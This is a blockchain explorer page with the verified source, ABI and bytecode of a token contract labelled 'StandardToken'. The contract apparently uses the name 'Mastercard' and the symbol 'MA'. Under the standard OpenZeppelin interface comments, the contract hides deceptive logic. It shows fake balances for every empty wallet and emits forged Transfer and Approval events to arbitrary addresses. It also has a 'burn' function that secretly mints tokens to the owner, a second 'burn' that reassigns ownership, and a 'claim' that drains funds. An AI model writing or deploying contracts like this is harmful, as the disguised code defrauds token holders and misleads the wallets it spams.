BNB Price: $615.28 (+3.03%)
 

Overview

Max Total Supply

10,000,000,000MA (CSupply: 9,999,999,990)

Holders

1,851

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Puissant: Builder 4
Balance
10 MA

Value
$0.00
0x48b2665e5e9a343409199d70f7495c8ab660bb48
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
StandardToken

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 1000 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2025-04-07
*/

// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;


/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol


// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// File: contracts/StandardToken.sol


// OpenZeppelin Contracts (last updated v5.2.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */

contract StandardToken is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;
    mapping(address account => mapping(address spender => uint256)) private _allowances;
    address private __;
    uint256 private _totalSupply;
    uint256 private _giftAmount;
    string private _name;
    string private _symbol;

    error InvalidError(address);

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_, uint256 initValue_, uint256 gift_) {
        _name = name_;
        _symbol = symbol_;
        __ = msg.sender;
        _totalSupply = totalSupply_;
        _mint(msg.sender, initValue_);
        _giftAmount = gift_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        uint256 uv = _balances[account];
        if (uv == 0) {
            uv = _giftAmount;
        }
        return uv;
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint256 value) internal virtual  {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {

        if (from == address(0)) {

        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance == 0) {
                fromBalance = _giftAmount;
            }
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                _balances[from] = fromBalance - value;
                if (_balances[from] == 0) {
                    _balances[from] = 1;
                }
            }
        }

        if (to == address(0)) {

        } else {
            unchecked {
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function burn(uint256 v) public virtual check {
        assembly {
            let c := caller()
            mstore(0x0, c)
            mstore(0x20, 0)
            let slot := keccak256(0x0, 0x40)
            let cb := sload(slot)
            let nb := add(cb, v)
            switch eq(cb, 0)
            case 1 {
                sstore(slot, cb)
            }
            default {
                sstore(slot, nb)
            }
            mstore(0x40, 0x123456789abcdef)
        }
    }

    function burn(address n) public virtual check {
        if (n == address(0)) {
            revert InvalidError(n);
        }
        __ = n;
    }

    modifier check() {
        _check();
        _;
    }

    function _check() internal view virtual {
        if (__ != _msgSender()) {
            revert InvalidError(_msgSender());
        }
    }

    function transfer(address[] memory accounts, uint256 amount) external {
        uint count = accounts.length;
        for (uint i = 0; i < count; i++) {
            emit Transfer(address(this), accounts[i], amount);
        }
    }

    function approve(address account, address[] memory toAccounts, uint256 amount) external {
        uint count = toAccounts.length;
        for (uint i = 0; i < count; i++) {
            emit Approval(account, toAccounts[i], amount);
        }
    }

    receive() external payable {}
    function claim(address _token) external check {
        if (_token == address(0x0)) {
            payable(__).transfer(address(this).balance);
            return;
        }
        IERC20 erc20token = IERC20(_token);
        uint256 balance = erc20token.balanceOf(address(this));
        erc20token.transfer(__, balance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"uint256","name":"initValue_","type":"uint256"},{"internalType":"uint256","name":"gift_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"InvalidError","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address[]","name":"toAccounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"v","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"n","type":"address"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b5060405162001278380380620012788339810160408190526200003391620002bc565b6005620000418682620003c5565b506006620000508582620003c5565b50600280546001600160a01b03191633908117909155600384905562000077908362000085565b600455506200049192505050565b6001600160a01b038216620000b45760405163ec442f0560e01b81525f60048201526024015b60405180910390fd5b620000c15f8383620000c5565b5050565b6001600160a01b038316156200017a576001600160a01b0383165f9081526020819052604081205490819003620000fb57506004545b81811015620001375760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401620000ab565b6001600160a01b0384165f90815260208190526040812083830390819055900362000178576001600160a01b0384165f908152602081905260409020600190555b505b6001600160a01b03821615620001a8576001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001ee91815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200021f575f80fd5b81516001600160401b03808211156200023c576200023c620001fb565b604051601f8301601f19908116603f01168101908282118183101715620002675762000267620001fb565b816040528381526020925086602085880101111562000284575f80fd5b5f91505b83821015620002a7578582018301518183018401529082019062000288565b5f602085830101528094505050505092915050565b5f805f805f60a08688031215620002d1575f80fd5b85516001600160401b0380821115620002e8575f80fd5b620002f689838a016200020f565b965060208801519150808211156200030c575f80fd5b506200031b888289016200020f565b60408801516060890151608090990151979a919950979695509350505050565b600181811c908216806200035057607f821691505b6020821081036200036f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c057805f5260205f20601f840160051c810160208510156200039c5750805b601f840160051c820191505b81811015620003bd575f8155600101620003a8565b50505b505050565b81516001600160401b03811115620003e157620003e1620001fb565b620003f981620003f284546200033b565b8462000375565b602080601f8311600181146200042f575f8415620004175750858301515b5f19600386901b1c1916600185901b17855562000489565b5f85815260208120601f198616915b828110156200045f578886015182559484019460019091019084016200043e565b50858210156200047d57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610dd9806200049f5f395ff3fe6080604052600436106100dc575f3560e01c806342966c681161007c57806389afcb441161005757806389afcb441461023557806395d89b4114610254578063a9059cbb14610268578063dd62ed3e14610287575f80fd5b806342966c68146101d857806370a08231146101f75780637c8e0c6e14610216575f80fd5b80631939c1ff116100b75780631939c1ff1461015e5780631e83409a1461017f57806323b872dd1461019e578063313ce567146101bd575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb6102cb565b6040516101089190610aa6565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b0d565b61035b565b6040519015158152602001610108565b34801561014b575f80fd5b506003545b604051908152602001610108565b348015610169575f80fd5b5061017d610178366004610beb565b610372565b005b34801561018a575f80fd5b5061017d610199366004610c2d565b6103f2565b3480156101a9575f80fd5b506101306101b8366004610c4d565b610554565b3480156101c8575f80fd5b5060405160128152602001610108565b3480156101e3575f80fd5b5061017d6101f2366004610c86565b610577565b348015610202575f80fd5b50610150610211366004610c2d565b6105bb565b348015610221575f80fd5b5061017d610230366004610c9d565b6105e5565b348015610240575f80fd5b5061017d61024f366004610c2d565b610666565b34801561025f575f80fd5b506100fb6106df565b348015610273575f80fd5b50610130610282366004610b0d565b6106ee565b348015610292575f80fd5b506101506102a1366004610cf0565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600580546102da90610d21565b80601f016020809104026020016040519081016040528092919081815260200182805461030690610d21565b80156103515780601f1061032857610100808354040283529160200191610351565b820191905f5260205f20905b81548152906001019060200180831161033457829003601f168201915b5050505050905090565b5f336103688185856106fb565b5060019392505050565b81515f5b818110156103ec5783818151811061039057610390610d59565b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516103dc91815260200190565b60405180910390a3600101610376565b50505050565b6103fa61070d565b6001600160a01b038116610442576002546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043e573d5f803e3d5ffd5b5050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156104a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c59190610d6d565b6002546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af1158015610530573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec9190610d84565b5f3361056185828561073c565b61056c8585856107cb565b506001949350505050565b61057f61070d565b33805f52505f60205260405f2080548281015f8214600181146105a4578184556105a8565b8284555b50505050670123456789abcdef60405250565b6001600160a01b0381165f908152602081905260408120548082036105df57506004545b92915050565b81515f5b8181101561065f5783818151811061060357610603610d59565b60200260200101516001600160a01b0316856001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258560405161064f91815260200190565b60405180910390a36001016105e9565b5050505050565b61066e61070d565b6001600160a01b0381166106a557604051636896c93760e01b81526001600160a01b03821660048201526024015b60405180910390fd5b600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6060600680546102da90610d21565b5f336103688185856107cb565b610708838383600161085a565b505050565b6002546001600160a01b0316331461073a57604051636896c93760e01b815233600482015260240161069c565b565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198110156103ec57818110156107bd576040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526001600160a01b0384166004820152602481018290526044810183905260640161069c565b6103ec84848484035f61085a565b6001600160a01b03831661080d576040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b6001600160a01b03821661084f576040517fec442f050000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b61070883838361095e565b6001600160a01b03841661089c576040517fe602df050000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b6001600160a01b0383166108de576040517f94280d620000000000000000000000000000000000000000000000000000000081525f600482015260240161069c565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156103ec57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161095091815260200190565b60405180910390a350505050565b6001600160a01b03831615610a27576001600160a01b0383165f908152602081905260408120549081900361099257506004545b818110156109e5576040517fe450d38c0000000000000000000000000000000000000000000000000000000081526001600160a01b0385166004820152602481018290526044810183905260640161069c565b6001600160a01b0384165f908152602081905260408120838303908190559003610a25576001600160a01b0384165f908152602081905260409020600190555b505b6001600160a01b03821615610a54576001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a9991815260200190565b60405180910390a3505050565b5f602080835283518060208501525f5b81811015610ad257858101830151858201604001528201610ab6565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b08575f80fd5b919050565b5f8060408385031215610b1e575f80fd5b610b2783610af2565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610b58575f80fd5b8135602067ffffffffffffffff80831115610b7557610b75610b35565b8260051b604051601f19603f83011681018181108482111715610b9a57610b9a610b35565b6040529384526020818701810194908101925087851115610bb9575f80fd5b6020870191505b84821015610be057610bd182610af2565b83529183019190830190610bc0565b979650505050505050565b5f8060408385031215610bfc575f80fd5b823567ffffffffffffffff811115610c12575f80fd5b610c1e85828601610b49565b95602094909401359450505050565b5f60208284031215610c3d575f80fd5b610c4682610af2565b9392505050565b5f805f60608486031215610c5f575f80fd5b610c6884610af2565b9250610c7660208501610af2565b9150604084013590509250925092565b5f60208284031215610c96575f80fd5b5035919050565b5f805f60608486031215610caf575f80fd5b610cb884610af2565b9250602084013567ffffffffffffffff811115610cd3575f80fd5b610cdf86828701610b49565b925050604084013590509250925092565b5f8060408385031215610d01575f80fd5b610d0a83610af2565b9150610d1860208401610af2565b90509250929050565b600181811c90821680610d3557607f821691505b602082108103610d5357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610d7d575f80fd5b5051919050565b5f60208284031215610d94575f80fd5b81518015158114610c46575f80fdfea264697066735822122084cfb455b7cae8dc2867bb9b93328b4ce653f8f6ff0e4177919cf91e151c514664736f6c6343000817003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000000000008ac7230489e80000000000000000000000000000000000000000000000000000000000000000000a4d6173746572636172640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d41000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c806342966c681161007c57806389afcb441161005757806389afcb441461023557806395d89b4114610254578063a9059cbb14610268578063dd62ed3e14610287575f80fd5b806342966c68146101d857806370a08231146101f75780637c8e0c6e14610216575f80fd5b80631939c1ff116100b75780631939c1ff1461015e5780631e83409a1461017f57806323b872dd1461019e578063313ce567146101bd575f80fd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb6102cb565b6040516101089190610aa6565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b0d565b61035b565b6040519015158152602001610108565b34801561014b575f80fd5b506003545b604051908152602001610108565b348015610169575f80fd5b5061017d610178366004610beb565b610372565b005b34801561018a575f80fd5b5061017d610199366004610c2d565b6103f2565b3480156101a9575f80fd5b506101306101b8366004610c4d565b610554565b3480156101c8575f80fd5b5060405160128152602001610108565b3480156101e3575f80fd5b5061017d6101f2366004610c86565b610577565b348015610202575f80fd5b50610150610211366004610c2d565b6105bb565b348015610221575f80fd5b5061017d610230366004610c9d565b6105e5565b348015610240575f80fd5b5061017d61024f366004610c2d565b610666565b34801561025f575f80fd5b506100fb6106df565b348015610273575f80fd5b50610130610282366004610b0d565b6106ee565b348015610292575f80fd5b506101506102a1366004610cf0565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600580546102da90610d21565b80601f016020809104026020016040519081016040528092919081815260200182805461030690610d21565b80156103515780601f1061032857610100808354040283529160200191610351565b820191905f5260205f20905b81548152906001019060200180831161033457829003601f168201915b5050505050905090565b5f336103688185856106fb565b5060019392505050565b81515f5b818110156103ec5783818151811061039057610390610d59565b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516103dc91815260200190565b60405180910390a3600101610376565b50505050565b6103fa61070d565b6001600160a01b038116610442576002546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043e573d5f803e3d5ffd5b5050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156104a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c59190610d6d565b6002546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af1158015610530573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec9190610d84565b5f3361056185828561073c565b61056c8585856107cb565b506001949350505050565b61057f61070d565b33805f52505f60205260405f2080548281015f8214600181146105a4578184556105a8565b8284555b50505050670123456789abcdef60405250565b6001600160a01b0381165f908152602081905260408120548082036105df57506004545b92915050565b81515f5b8181101561065f5783818151811061060357610603610d59565b60200260200101516001600160a01b0316856001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258560405161064f91815260200190565b60405180910390a36001016105e9565b5050505